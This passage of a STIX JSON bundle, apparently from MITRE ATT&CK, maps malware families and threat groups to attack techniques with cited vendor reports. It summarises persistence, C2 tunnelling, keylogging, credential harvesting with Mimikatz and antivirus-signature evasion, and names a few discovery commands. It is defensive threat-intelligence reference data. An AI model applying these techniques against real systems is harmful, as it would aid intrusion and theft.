                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) adds persistence by creating Registry Run keys.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--db6220f4-9e1c-487c-9b8d-e016565817e3",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.190Z",
            "created": "2019-01-29T17:59:44.535Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DigiTrust Agent Tesla Jan 2017",
                    "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/",
                    "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect account information from the victim\u2019s machine.(Citation: DigiTrust Agent Tesla Jan 2017)",
            "id": "relationship--0d93e75b-e13d-4bd5-97d2-b4f8d05e9efd",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-05-28T23:41:03.886Z",
            "created": "2019-01-29T18:44:05.065Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "source_name": "PaloAlto UBoatRAT Nov 2017"
                }
            ],
            "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) has used HTTP for C2 communications.(Citation: PaloAlto UBoatRAT Nov 2017)",
            "id": "relationship--62fbc8c0-0b5c-4650-9f63-696925d5626c",
            "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:42:26.971Z",
            "created": "2019-01-29T19:09:26.676Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf",
                    "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.",
                    "source_name": "GovCERT Carbon May 2016"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) uses the <code>netstat -r</code> and <code>netstat -an</code> commands.(Citation: GovCERT Carbon May 2016)",
            "id": "relationship--344f58f9-fefa-4c50-888c-25b2ef9e7dd2",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2021-04-25T15:45:04.893Z",
            "created": "2019-01-29T19:36:02.711Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf",
                    "source_name": "Kaspersky Turla Aug 2014"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) uses the <code>tasklist /v</code> command to obtain a list of processes.(Citation: Kaspersky Turla)(Citation: Kaspersky Turla Aug 2014)",
            "id": "relationship--01f98d14-77b9-439f-8b44-920fcaca2b2b",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-07-26T16:10:42.964Z",
            "created": "2019-01-29T19:55:48.137Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--6dfdfcc8-ff89-4991-830a-5ca31f43b251",
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "description": "(Citation: Unit 42 Gorgon Group Aug 2018)",
            "type": "relationship",
            "modified": "2019-07-25T14:56:46.824Z",
            "created": "2019-01-29T20:08:24.859Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a command-line tunneler, NACHOCHEESE, to give them shell access to a victim\u2019s machine.(Citation: FireEye APT38 Oct 2018)",
            "id": "relationship--3ab4c52a-aa3d-4c65-bd68-6614a0fb7bfe",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T18:49:17.263Z",
            "created": "2019-01-29T21:27:25.289Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Cobian Aug 2017",
                    "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat",
                    "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018."
                }
            ],
            "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform keylogging on the victim\u2019s machine.(Citation: Zscaler Cobian Aug 2017)",
            "id": "relationship--8907c952-38f8-49de-900d-4f2fa0c485c1",
            "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:31:26.998Z",
            "created": "2019-01-29T21:40:37.736Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Octopus Oct 2018",
                    "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."
                }
            ],
            "description": "[Octopus](https://attack.mitre.org/software/S0340) encodes C2 communications in Base64.(Citation: Securelist Octopus Oct 2018)",
            "id": "relationship--4919cec0-77ce-4505-91e5-5a538fe1b198",
            "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:23:31.671Z",
            "created": "2019-01-30T13:24:08.980Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "source_name": "Securelist Denis April 2017",
                    "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/",
                    "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018."
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) has used DNS tunneling for C2 communications.(Citation: Cybereason Oceanlotus May 2017)(Citation: Securelist Denis April 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--01eb6d18-bb7b-4e4a-b133-60407f40773b",
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "type": "relationship",
            "modified": "2020-06-19T20:39:21.916Z",
            "created": "2019-01-30T20:01:45.452Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "A version of [KONNI](https://attack.mitre.org/software/S0356) drops a Windows shortcut on the victim\u2019s machine to establish persistence.(Citation: Talos Konni May 2017)",
            "id": "relationship--e57361ca-1d03-4171-86e2-09f8c32cb319",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2019-07-26T18:47:19.103Z",
            "created": "2019-01-31T00:36:41.008Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) used Mimikatz and customized versions of Windows Credential Dumper to harvest credentials.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--63835d80-f52b-472c-a605-b0360eea3539",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-19T22:10:50.772Z",
            "created": "2019-01-31T01:07:58.714Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--d61f5cc3-e075-4a5b-ac7c-e77feac1d310",
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b",
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.911Z",
            "created": "2019-01-31T02:13:33.990Z"
        },
        {
            "id": "relationship--3caec960-fa9c-4b2f-80e4-6dd4471e26ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about its IP addresses and MAC addresses.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-07-26T20:45:14.544Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3cf1b188-99ad-48a5-bce8-962eef956ec8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) can delete files indicated by the attacker and remove itself from disk using a batch file.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-04-22T22:40:41.288Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ceb66bd9-3e75-4559-a0b9-3339a926cde6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can install encrypted configuration data under the Registry key <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellCompatibility\\Applications\\laxhost.dll</code> and <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PrintConfigs</code>.(Citation: US-CERT TYPEFRAME June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-17T13:49:31.240Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--26eca19b-1c55-49b5-8a07-a4131c577874",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Find-AVSignature</code> AntivirusBypass module can be used to locate single byte anti-virus signatures.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.194Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--131fde9c-7a83-4603-9c1e-c41f815fb14c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) has a plugin to drop and execute vulnerable Outpost Sandbox or avast! Virtualization drivers in order to gain kernel mode privileges.(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.763Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fb0aef48-57f5-4331-acdd-25fdfdf1babb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[S-Type](https://attack.mitre.org/software/S0085) runs the command <code>net user</code> on a victim. [S-Type](https://attack.mitre.org/software/S0085) also runs tests to determine the privilege level of the compromised user.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T20:43:22.801Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts communications using AES256.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--b644de55-05f0-4e2e-93ee-db7915097ed1",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:57:45.762Z",
            "created": "2019-01-30T13:53:14.840Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/",
                    "source_name": "Trend Micro Trickbot Nov 2018"
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects email addresses from Outlook.(Citation: Trend Micro Trickbot Nov 2018)",
            "id": "relationship--9b5e38b3-31b5-4734-bef2-c05904479430",
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470",
            "type": "relationship",
            "modified": "2020-03-29T22:56:25.397Z",
            "created": "2019-01-30T14:11:44.227Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can call WTSQueryUserToken and CreateProcessAsUser to start a new process with local system privileges.(Citation: Unit42 Azorult Nov 2018)",
            "id": "relationship--00d3d6a8-c711-4bb5-bf0a-e17c0ecac8c8",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf",
            "type": "relationship",
            "modified": "2020-03-16T16:39:52.451Z",
            "created": "2019-01-30T15:19:14.928Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) used a batch script to perform a series of discovery techniques and saves it to a text file.(Citation: Mandiant APT1)",
            "id": "relationship--4c2924c1-dec5-4390-87d7-c52e24a92512",
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.353Z",
            "created": "2019-01-30T15:33:07.517Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Lazarus Nov 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/",
                    "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."
                }
            ],
            "description": "[AuditCred](https://attack.mitre.org/software/S0347) has used Port Number 443 for C2 communications.(Citation: TrendMicro Lazarus Nov 2018)",
            "id": "relationship--894666a8-f37a-4c72-a61e-c130bc6ac197",
            "type": "relationship",
            "modified": "2019-01-30T15:47:41.383Z",
            "created": "2019-01-30T15:47:41.383Z",
            "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) checks its current working directory upon execution and also contains watchdog functionality that ensures its executable is located in the correct path (else it will rewrite the payload).(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--3572a770-9151-42d5-82b5-360002725052",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.757Z",
            "created": "2019-01-30T16:39:54.488Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                },
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                },
                {
                    "source_name": "Reaqta MuddyWater November 2017",
                    "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/",
                    "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can upload additional files to the victim\u2019s machine.(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)",
            "id": "relationship--82d8c106-c216-4d3f-9028-5f0b975e6330",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2021-03-19T13:41:28.352Z",
            "created": "2019-01-30T17:33:40.964Z"
        },
        {
            "id": "relationship--c33c2a0f-eb88-43ef-be7b-6311bef2da3d",
